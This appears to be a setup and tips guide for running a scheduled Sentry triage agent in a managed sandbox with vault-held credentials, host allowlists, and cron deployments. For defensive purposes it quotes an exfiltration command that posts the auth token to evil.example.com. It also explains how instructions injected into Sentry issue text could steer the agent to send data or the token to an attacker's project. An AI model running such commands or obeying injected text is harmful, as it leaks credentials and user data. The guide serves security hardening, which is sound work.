Skill v1.0.0
currentTrusted Publisher100/100version: "1.0.0"
Setup tips & tricks: scheduled Sentry triage with vault env-var credentials
Things that aren't obvious from the docs and tend to cost debugging time.
Mental model
Where the token lives
your host Anthropic sandbox (container)┌─────────────┐ ┌─────────────────────┐ ┌────────────────────────────┐│ real token ─┼─────▶│ vault (encrypted) │ │ SENTRY_AUTH_TOKEN= │└─────────────┘ │ │ │ <opaque placeholder> ││ egress proxy │◀─────┼─ sentry-cli / curl request ││ placeholder→token │ │ with placeholder in ││ IF host allowlisted│ │ Authorization header │└──────────┬──────────┘ └────────────────────────────┘│ real token, only toward▼sentry.io, us.sentry.io, de.sentry.io
An environment_variable vault credential is deliberately the only way to set env vars in a managed sandbox:
- The container never holds the real token. It holds an opaque placeholder.
echo $SENTRY_AUTH_TOKENprints the placeholder, and so does anything that tries to exfiltrate the environment variable. - Substitution is host-scoped. The egress proxy swaps the placeholder for the token only on outbound requests to the credential's
allowed_hosts. A prompt injection that runscurl https://evil.example.com -d "$SENTRY_AUTH_TOKEN"sends the placeholder.
What this doesn't give you: the agent can still use the credential for anything the allowlisted host permits. A token with event:write lets the agent resolve and modify issues. Pick scopes accordingly. The vault limits where the token can go, and Sentry scopes limit what it can do once there.
Two allowlists, not one
| Config | What it gates | |
|---|---|---|
environment.config.networking.allowed_hosts | Can the sandbox open a connection to this host? | |
credential.auth.networking.allowed_hosts | Will the placeholder be replaced with the real secret for this host? |
Both need Sentry's API hosts (sentry.io, us.sentry.io, de.sentry.io). Set only the environment's and every API call returns 401 with the placeholder. Set only the credential's and the connection never opens. There's also an unrestricted credential networking type for CLIs whose host list you don't know up front, but the allowlist is the stronger guarantee: it's the difference between "this token works against Sentry" and "this token works anywhere the agent can be talked into sending it."
A deployment is the whole host process
A deployment bundles the agent, environment, vault, and initial user message with a cron schedule. Sessions start themselves on Anthropic infra. Nothing runs on your machine after deploy.py.
Gotchas
The system prompt is stored, so keep secret tokens out of it
System prompts and user messages land in the session's event history. The org and project slugs are fine there: deploy.py puts SENTRY_ORG and SENTRY_PROJECT from .env into the message that starts each run, and the system prompt in agents/sentry-triage.md tells the agent to use those. Never the token. The token only ever goes into the vault credential.
List Sentry's API hosts, not *.sentry.io
Both allowlists name three hosts: sentry.io (the apex, which a wildcard would not cover anyway) and the regional API hosts us.sentry.io and de.sentry.io. Don't widen them to *.sentry.io. That pattern also matches o<id>.ingest.sentry.io, which is the event ingest endpoint of every Sentry customer. The agent reads issue titles and stack traces that anyone who can trigger an error in your app can write. With the wildcard, an injected instruction could send your data to an attacker's Sentry project, and because the credential's allowlist decides where the placeholder becomes the real token, it could send the token there too.
Changing env var name and values
To change the env var's name, archive the credential and create a new one. The replacement gets a different placeholder. In some scenarios, existing sessions can pick up the new credential, but to guarantee the new var is used, start fresh sessions after a rename.
When rotating the value you can update secret_value in place and new outbound requests will use it, including from running sessions. IDs are unchanged. The vault's ID is in claude-lock.json under ./vaults/sentry-triage.yaml, and ant beta:vaults:credentials list --vault-id <vault> shows the credential's. setup.sh creates the credential once and does not touch it on re-runs.
client.beta.vaults.credentials.update(credential_id,vault_id=vault_id,auth={"type": "environment_variable", "secret_value": new_token},)
networking.allowed_hosts is replace-only on update
To add a host, send the full list including existing entries.
The deployment pins an agent version
An agent update writes a new agent version, and sessions you start by hand use the latest. The deployment doesn't: it keeps the version it pinned at create time, so a prompt edit alone never reaches scheduled runs. Re-running ./agents/setup.sh does both halves: ant apply publishes the change, then deploy.py (which setup runs when .env has a deployment ID) calls deployments.update to re-pin to the latest. The bare agent ID means "latest version". The same call sends the environment ID, vault_ids, and the first message, because the deployment also keeps the ones it was created with. That matters after you recreate a vault or environment, or change the org or project in .env.
Cron is wall-clock, with DST edges
0 9 * * 1-5 in America/New_York fires at 9:00 AM Eastern regardless of DST. Times that don't exist on spring-forward day are skipped, and times that occur twice on fall-back day fire twice. If that matters, schedule outside 1-3 AM local or use UTC. Runs may start up to 10 seconds late, granularity is per-minute, and an org can have up to 1,000 deployments.
After deployments.create, check schedule.upcoming_runs_at in the response to confirm the expression fires when you expect (deploy.py prints it).
Permanent failures auto-pause the deployment
vault_not_found_error, agent_archived_error, and environment_archived_error pause the deployment and set paused_reason, so a misconfigured deployment doesn't keep failing on schedule indefinitely. Transient failures (rate limits, backend errors) don't pause. runs.py lists both: every trigger writes a deployment run record with error.type when no session was produced.
pause is not archive
pause stops future scheduled triggers. In-flight sessions keep running, and manual runs still work while paused. unpause resumes from the next occurrence (missed runs are not backfilled). archive is terminal.
Report files lag the session by a few seconds
The agent writes to /mnt/session/outputs/, which the Files API captures automatically. Indexing can lag 1-3 seconds after the session goes idle, so run_now.py retries the empty list a few times before giving up.
Setup checklist
- Sentry → Settings → Auth Tokens → Create New Token with
org:read,project:read, andevent:readscopes. Copy thesntrys_...value. cp .env.example .env, fill inSENTRY_AUTH_TOKEN,SENTRY_ORG,SENTRY_PROJECT. For Claude Platform auth, sign in once with `ant auth login` or uncommentANTHROPIC_API_KEY. TheantCLI and the SDK share the login../agents/setup.sh→ant applycreates the agent, environment, and vault and writesclaude-lock.json; then the token goes into the vault as a credential. Needsant1.34 or later andjq.uv run python deploy.py→ reads the three IDs fromclaude-lock.json, creates the deployment, appendsCLAUDE_DEPLOYMENT_IDto.env. Check the printed upcoming runs.uv run python run_now.py→ streams a manual run and downloadsTRIAGE_REPORT.mdtoreports/<session_id>/. If the token is missing a scope or an allowlist is wrong, this is where it surfaces.- Done. The schedule fires without any host process.
uv run python runs.pyshows history.
To change the prompt or model later, edit agents/sentry-triage.md and re-run ./agents/setup.sh. It publishes the change and re-pins the deployment (see the gotcha above).
To stop: uv run python teardown.py archives the deployment and everything in claude-lock.json, then removes the deployment ID from .env and deletes the lockfile. Skip it to leave the schedule running. Afterwards ./agents/setup.sh and deploy.py start from scratch. If teardown fails partway, fix the cause and run it again.
Debugging a failed run
| Symptom | Likely cause | |
|---|---|---|
sentry-cli gets 401 | Placeholder not substituted: host missing from the credential's allowed_hosts, or the request went to a host outside it | |
| Connection refused / timeout from the sandbox | Host missing from the environment's networking.allowed_hosts | |
| 403 from Sentry API | Token missing a scope (org:read, project:read, event:read) | |
runs.py shows vault_not_found_error or vault_archived_error | Vault deleted or archived while the deployment still references it. ant apply notices too and refuses to guess: run ant apply --force --yes vaults to create a replacement, then ./agents/setup.sh, which adds the credential to the new vault and points the deployment's vault_ids at it. The failure paused the deployment, so finish with ant beta:deployments unpause --deployment-id $CLAUDE_DEPLOYMENT_ID | |
ant apply prints refusing to apply | A resource in claude-lock.json was changed, archived, or deleted in the Console. The plan says which and why. --force overwrites the edit or creates a replacement | |
| Scheduled time passed, no run record | Deployment paused (check paused_reason), or you're checking before the up-to-10s jitter | |
run_now.py finds no files | Report indexing lag. The script retries, but if it still comes up empty, check the streamed transcript for whether the agent wrote the file |
Production notes
- Scope the Sentry token to a single project if you can. Read-only scopes mean a prompt injection can at worst read what the on-call engineer could.
- The report lands in the session's files, not your inbox. For delivery, register a
session.status_idledwebhook, download the report, and post it to Slack (the `../slack` quickstart has the webhook pattern).